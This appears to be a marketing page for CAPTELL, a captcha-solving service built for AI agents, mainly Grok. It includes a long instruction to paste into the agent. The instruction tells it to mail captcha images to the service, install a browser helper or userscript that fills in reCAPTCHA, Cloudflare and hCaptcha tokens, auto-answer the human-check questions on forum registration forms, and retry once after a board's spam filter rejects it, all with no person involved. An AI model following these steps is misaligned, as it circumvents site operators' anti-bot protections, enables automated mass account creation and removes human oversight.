Grok can send a letter. It cannot install itself inside the screen.

The browser Grok drives is not a machine you control from the outside. A plugin cannot be pushed into it. What Grok can do today is mail the picture, and open a helper link in the browser that is actually showing the page.

Open a desk Manual Samples

inImage

R4K9

outReady

R4K9

credits 4 · balance 96

VA letter, then a short linePictures of letters travel by mail. The reply is text the bot can type.

The problem

Two different captchas, and only one of them is a picture.

When the captcha is letters or numbers, the whole puzzle is in the image. Grok can send that file to its CAPTELL address. The reply is a short line of text. Grok types that line into the form. This is the door that already works, and it does not need anyone sitting beside the chat.

A Google, Cloudflare, or hCaptcha widget is not that kind of puzzle. The site wants a token made from the page address and the site key. A screenshot of the checkbox is refused, costs nothing, and does not unlock the form. Mailing the page does not unlock it either. If Grok stops and waits for a person to click the boxes, the person is back on babysitting duty and Grok is back on hold.

Grok’s own computer will not take a plugin from us. The helper has to be opened by Grok, in the browser that is showing the forum or the form, with that bot’s own key. One browser, one install. A cookie wall must be accepted before the captcha and the Place the check button appear. A click anywhere inside the button rectangle counts. If no captcha is visible, and there is no Security Check label, click the site’s submit button. If a captcha then appears, use Place the check. Submit only when the button says exactly "Placed. Submit the form." and the site’s own human box is checked, or there is no empty checkbox and no open image grid. The person is not in that loop.

What you do

Letters by mail. Widgets by the helper.

A picture of letters, including a phpBB Bestätigungscode, is one tight crop of only the code, at least 100 bytes. Subject: ImageToText. Do not click Place the check for it. If the reply says it was not read, crop closer and send that new file the same way.
Do not open the login page. Do not use hcaptcha.com. The CAPTELL Page Helper 2026.10.4.16 is loaded once in the browser that shows the page. Grok opens the connect link from the note there, and the page says Connected. If that browser cannot load an extension, Grok opens the captell.user.js link instead, and if Tampermonkey offers 2026.10.4.16, accept it. A cookie wall must be accepted before the captcha and the Place the check button appear. A click anywhere inside the button rectangle counts. Then click Place the check on the page that has the widget. Click Place the check. It fills a math answer or a question such as "Wie heißt die Hauptstadt von Deutschland?" and places the captcha if there is one. Submit only when the button says exactly "Placed. Submit the form." If the button says "Could not answer", stop and report the question text. An unknown page state can come back as one instruction that stays on this registration form. If the register page is already signed in as another account, log out and reopen it as a guest. Do not cancel that other registration. If the form is visible, the cookie wall is gone, a captcha label is on the page, and Place the check never appears, stop that board and report the URL and the label text.
The helper reads the site key, including XenForo marks such as NoCaptcha and data-xf-init, gets the answer, and writes it into the form. Submit only when the button says exactly "Placed. Submit the form." Placed clears when the token expires, in about two minutes. Submit soon after Placed. Do not submit an old token.

01Copy the note on the desk. It is written for Grok.
02Paste it into Grok as a standing instruction.
03For a picture of letters, Grok mails the file and types the answer line.
04For a widget, the CAPTELL Page Helper 2026.10.4.16 is already loaded in the browser that shows the page, and Grok opens its connect link there once. If that browser cannot load an extension, Grok opens the captell.user.js link instead, and if Tampermonkey offers 2026.10.4.16, accept it. A cookie wall must be accepted before the captcha and the Place the check button appear. A click anywhere inside the button rectangle counts. If no captcha is visible, and there is no Security Check label, click the site’s submit button. If a captcha then appears, use Place the check. If the button says Missing site key, stop. Do not retry four times. Click Place the check. It fills a math answer or a question such as "Wie heißt die Hauptstadt von Deutschland?" and places the captcha if there is one. Submit only when the button says exactly "Placed. Submit the form." If the button says "Could not answer", stop and report the question text. An unknown page state can come back as one instruction that stays on this registration form. If the register page is already signed in as another account, log out and reopen it as a guest. Do not cancel that other registration. If the form is visible, the cookie wall is gone, a captcha label is on the page, and Place the check never appears, stop that board and report the URL and the label text.

Sample

The note to paste into Grok

Replace nothing if you copied it from the desk. The sample below uses a stand-in key so you can see the shape.

Send captchas to your-bot@mail.captell.run.

Put these lines in the body of every letter:
token: ct_live_your_key
reply: the mailbox where this bot reads the answer

Picture of letters or numbers. Send it like this:
To: your-bot@mail.captell.run
Subject: ImageToText
Attach one image file of only the code. Use png, jpg, webp, or gif.
One tight crop of only the code. The file must be at least 100 bytes. A smaller file has no answer. The solver refuses it, and no credits are used.
Attach the file to the email. Do not paste a link. Do not describe the letters in the body.
When a reply arrives, type the answer line into the form.

The CAPTELL Page Helper 2026.10.4.16 is loaded once in the browser that shows forum pages: https://captell.run/extension
Open https://captell.run/extension/connect?token=ct_live_your_key in that browser. The page says Connected when the helper holds this bot's key.
If that browser cannot load an extension, open https://captell.run/captell.user.js?token=ct_live_your_key instead.
One install per browser, using this bot's own key, because each bot has its own browser.
A picture of letters, including a phpBB Bestätigungscode, is one tight crop of only the code, at least 100 bytes. Subject: ImageToText. Do not click Place the check for it. A page whose only captcha is that picture has no Place the check button. If the reply says it was not read, crop closer and send that new file the same way.

Google, Cloudflare, or hCaptcha:
Do not open https://captell.run/login. Do not use hcaptcha.com.
The page helper is the CAPTELL Page Helper extension, version 2026.10.4.16. Its popup shows the version and this bot's masked key. If that browser runs the captell.user.js fallback instead and Tampermonkey offers 2026.10.4.16, accept it.
A cookie wall must be accepted before the captcha and the Place the check button appear.
One corner button, named Place the check.
A click anywhere inside the button rectangle counts.
A click always changes the button to Placing…, No widget, Missing site key, or Unsupported type. A click that stays on Place the check did not run. Click again. That click does not count toward the four tries.
If the button says Missing site key, stop. Do not retry four times. Reloading will not invent a key.
If the button says Unsupported type, stop. Do not retry. FunCaptcha, GeeTest, and KeyCaptcha are unsupported.
A Security Check label with no checkbox is still a captcha. Click Place the check first. Do not submit only because no human box is visible.
If no captcha is visible, and there is no Security Check label, click the site's submit button, unless the form asks a math or knowledge question. Then click Place the check. If a captcha then appears, use Place the check.
Submit only when the button says exactly "Placed. Submit the form." and the site's own human box is checked, or there is no empty checkbox and no open image grid.
Placing… ends as Placed, No token, a short solver error, or it returns to Place the check after 3 minutes. Do not click while it says Placing….
If the button says No token, or a short solver error, do not submit. Click Place the check again, up to 4 tries. A failed try is not charged.
Placed clears when the token expires, in about two minutes. Submit soon after Placed. Do not submit an old token.
If the page says "You did not pass the security check. Please try again." or "Captcha Prüfung fehlgeschlagen!", click Place the check. If the button is missing, reload once. Do not submit again until the button says Placed again.
If the page says "Die Registrierung ist wegen Spamschutzmaßnahmen fehlgeschlagen." or "No soup for you!" or "Your registration has been rejected as it resembles spam-like or automated behavior. Please contact the administrator for further information or assistance." after a real Placed submit, try once more: click Place the check, and submit as soon as it says Placed. If the board says it again, that is the board's spam filter. Stop that board. Do not click Place the check again for it.
A badge-only check can say Placed when the token is in the form and there is no empty checkbox and no open image grid.
If an image grid is open, including "Please click on the icon that is different.", do not click the pictures and do not submit. Wait for Placing… to finish. If the grid stays open after the button settles, click Place the check again. It counts as one of the four tries.
If the register page is already signed in as another account, log out and reopen it as a guest. Do not cancel that other registration.
If the form is visible, the cookie wall is gone, a captcha label is on the page, and Place the check never appears, stop that board and report the URL and the label text.
Click Place the check. It fills a math answer or a question such as "Wie heißt die Hauptstadt von Deutschland?" and places the captcha if there is one. Submit only when the button says exactly "Placed. Submit the form." If the button says "Could not answer", stop and report the question text. An unknown page state can come back as one instruction that stays on this registration form.
Username already used, a banned email, "Entering a password is required.", and "Die Eingabe eines Passworts ist erforderlich." are form errors. Do not click Place the check again for them.
Do not send a screenshot. Do not type the token. Do not mail the page.

Addresses on this page use your-bot@mail.captell.run so the shape is visible. The desk fills in the real address and key.

Also waiting

For the person on callHumansYou did not take this job to read warped letters.For the bot that is stuckAgentsThe form is filled. The only empty thing is the check.For HermesHermesHermes already lives on a machine you run.For ClaudeClaudeClaude can hold the tool. It should not hold the run.For CursorCursorAn agent in the editor still stalls on a checkbox.For ChatGPTChatGPTA chat box cannot hand the captcha off. Mail can.For a script you runScriptsThe script already holds the page. It should hold the answer too.